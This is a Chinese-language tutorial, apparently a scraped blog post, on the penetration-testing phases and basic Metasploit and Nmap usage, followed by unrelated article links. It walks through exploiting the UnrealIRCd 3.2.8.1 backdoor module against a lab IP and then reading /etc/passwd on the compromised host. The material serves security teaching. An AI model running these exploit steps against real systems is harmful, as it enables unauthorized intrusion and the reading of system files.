3.Metasploit攻击流程及命令介绍
Metasploit 进阶第一讲 攻击流程及命令介绍
01.渗透测试过程环节(PTES)
1.前期交互阶段:与客户组织进行交互讨论,确定范围,目标等
2.情报搜集阶段:获取更多目标组织信息,Nmap、Nessus等
3.威胁建模阶段:理清头绪,确定出最可行的攻击通道
4.漏洞分析阶段:搜索可获取的渗透代码资源
5.渗透攻击阶段:找出安全漏洞,入侵系统
6.后渗透攻击阶段:你想干什么,Mctcrprctcr
7.报告阶段:渗透测试报告
02. Metasploit漏洞利用环节
情报搜集阶段
外围信息搜索 - Google Hacking等
主机探测与端口扫描 -Nmap等
服务扫描 -auxiliary/scanner/tclnet/…等(见目录)
网络漏洞扫描 -OpenVAS、Nessus等
情报搜集阶段—Nmap
格式:nmap<扫描选项,<扫描目标>
·扫描选项:指定扫描方式 ·扫描目标:
-sn -探测存活主机,不扫描端口 单个p地址
-o -目标操作系统识别 多个p地址,用逗号分割(,)
-sV -详细服务版本信息 连续ip地址,用连字符号(-)
-f -快速扫描 CIDR表示,192.168.22.0/24
-sT/-sS/-sA -全连接/syn扫描/ack扫描,
同auxiliary/scanner/portscan/..模块
-sU -udp端口扫描了
-p<端口范围> 指定扫描端口
…
Nmap –sV -o 192.168.24.139
状态:
open 应用程序正在此端口监听
closed 主机响应,无应用程序监听
filtered 不确定是否开放
unfiltered 无法确定端口是否开放(仅出现在ack扫描时)

nmap -A -p 6667 192.168.24.139

情报搜集阶段--其他姿势



漏洞分析阶段
IRC:“Internet Rely Chat”的缩写,网络中继聊天,通过网络的即时交流工具。
IRC运作方式:是一种分布式的客户端/服务器的结构,一个IRC服务器内部包含多个IRC频道,这些频道和qq群类似。若频道不是保留频道且频道中无人,该频道就会消失,而想加入某个频道,若频道名不存在,则会创建这个频道,创建者为管理员,频道内部可私聊。
IRC端口:服务器端口:6667,客户端端口:6697,连接使用的是SSL。
1.msfconsole -启动metasploit框架
2.search unreal ircd3.2.8.1 -在metasploit框架中查询相关模块
3.info exploit/unix/irc/unreal_ircd_3.2.8.1_backdoor -查看模块信息,命名规则:模块类型/目标平台/目标服务/模块名称
4.cat/usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb -查看源代码(也可在目录中查看)
渗透攻击阶段
1.use exploit/unix/irc/unreal_ircd_3281_backdoor -使用该模块
2.show options -查看需配置的参数(Required为yes的选项必须配置)
3.set rhosts 192.168.24.139 -配置目标ip地址
4.run/exploit -运行该模块
5.whoami;cat/etc/passwd -成功后查看目标主机信息
Metasploit漏洞利用流程总结
Metasploit命令:
1. msfconsole
2. search相关模块
3. use模块路径
4. show options
5.set <参数名称> <参数信息
6.run/exploit
7..

3.Metasploit攻击流程及命令介绍的更多相关文章
- git各种命令介绍以及碰到的各种坑
一.各种命令介绍: git pull:从其他的版本库(既可以是远程的也可以是本地的)将代码更新到本地,例如:'git pull origin master'就是将origin这个版本库的代码更新到本地 ...
- 5.Metasploit攻击载荷深入理解
Metasploit 进阶第三讲 深入理解攻击载荷 01 Nesus介绍.安装及使用 Nessus介绍 Nessus是一款著名的漏洞扫描及分析工具,提供完整的漏洞扫描服务,并随时更新漏洞数据库. ...
- 12个Linux进程管理命令介绍(转)
12个Linux进程管理命令介绍 [日期:2015-06-02] 来源:Linux中国 作者:Linux [字体:大 中 小] 执行中的程序在称作进程.当程序以可执行文件存放在存储中,并且运行的 ...
- 2.SDK目录结构和adb工具及命令介绍
安卓开发学习笔记 1.安卓开发之环境搭建 2.SDK目录结构和adb工具及命令介绍 1.SDK目录介绍: ******************************** add-ons:Androi ...
- [推荐]DDOS攻击与防范知识介绍
[推荐]DDOS攻击与防范知识介绍 DDOS攻防体系建设v0.2(淘宝-林晓曦) http://wenku.baidu.com/view/39549a11a8114431b90dd866.ht ...
- tar.xz如何解压:linux和windows下tar.xz解压命令介绍
在linux下怎么解压和压缩tar.xz文件? (本文由www.169it.com搜集整理) 在linux下解压tar.xz文件步骤 1 2 # xz -d ***.tar.xz //先解压xz # ...
- 查看MySQL数据库表的命令介绍
如果需要查看MySQL数据库中都有哪些MySQL数据库表,应该如何实现呢?下面就为您介绍查看MySQL数据库表的命令,供您参考. 进入MySQL Command line client下查看当前使用的 ...
- Docker学习总结之Run命令介绍
Docker学习总结之Run命令介绍 本文由Vikings(http://www.cnblogs.com/vikings-blog/) 原创,转载请标明.谢谢! 在使用Docker时,执行最多的命令某 ...
- maven常用命令介绍
mvn 3.0.4 创建maven项目命令 mvn archetype:generate -DgroupId=damocles-autocredit -DartifactId=damocles ...
随机推荐
- node生成excel,动态替换表格内容
这里使用的是exceljs模块, 好上手,易操作 1. 大致使用步骤 npm install exceljs // 引用var Excel = require('exceljs'); // 创建一个w ...
- NetAnalyzer笔记 之 十一 打造自己的协议分析语言(1)初衷与语法构想
回头看看NetAnalyzer开发系文档上次一篇竟然是2016年,老脸一红.不过这几年墨云成功过的讨到一个温柔贤淑的老婆,有了一个幸福的家庭,去年9月又有了一个大胖儿子,想想也就释然了^_^ 其实这几 ...
- Spark RDD Tutorial
Spark RDD教程 这个教程将会帮助你理解和使用Apache Spark RDD.所有的在这个教程中使用的RDD例子将会提供在github上,供大家快速的浏览. 什么是RDD(Rssilient ...
- CSS BEM 命名方式
简介 简易 css 命名方式,减小命名冲突,使得 css 更有组织感和识别感.但如今写 react 项目大多可以忽略对 css 的命名约束了. 官网介绍:http://getbem.com/intro ...
- SpringBoot——学习笔记
关于微服务和SOA 这,仅是我学习过程中记录的笔记.确定了一个待研究的主题,对这个主题进行全方面的剖析.笔记是用来方便我回顾与学习的,欢迎大家与我进行交流沟通,共同成长.不止是技术. 官网教程学习ht ...
- 【Win10】我们无法更新系统保留的分区
前言 笔者是一个萌新,这个方案也是慢慢摸索出来的,有更好的方案欢迎大家提出 前段时间用公司电脑发现win10新版本还行,回家升级自己的电脑却提示“我们无法更新系统保留的分区”.(O_o)?? 笔者 ...
- 谈谈SQL优化
写SQL是学习数据库必须掌握的非常重要的技能之一.在学习过程当中,我们会尝试写各种各样满足需求的SQL语句.在实际项目中,优秀的SQL语句和普通的SQL语句的执行速度差别非常大.对于一个数据量很大的系 ...
- Rational Rose 2007破解版
首先下载好软件,链接在这里 链接:https://pan.baidu.com/s/1op-W-ZX1tqefHffs3m-r0A 提取码:0jwm 这里面包含了Rational Rose 2007版的 ...
- Html的总结(待完善)
Html的总结(待完善) 框内文字 Placeholder 框内文字(例如:请输入密码) A标签 link 未点击的A标记 visited 点击过的A标签 hover 放置鼠标变颜色 active 点 ...
- linux无文件执行— fexecve 揭秘
前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...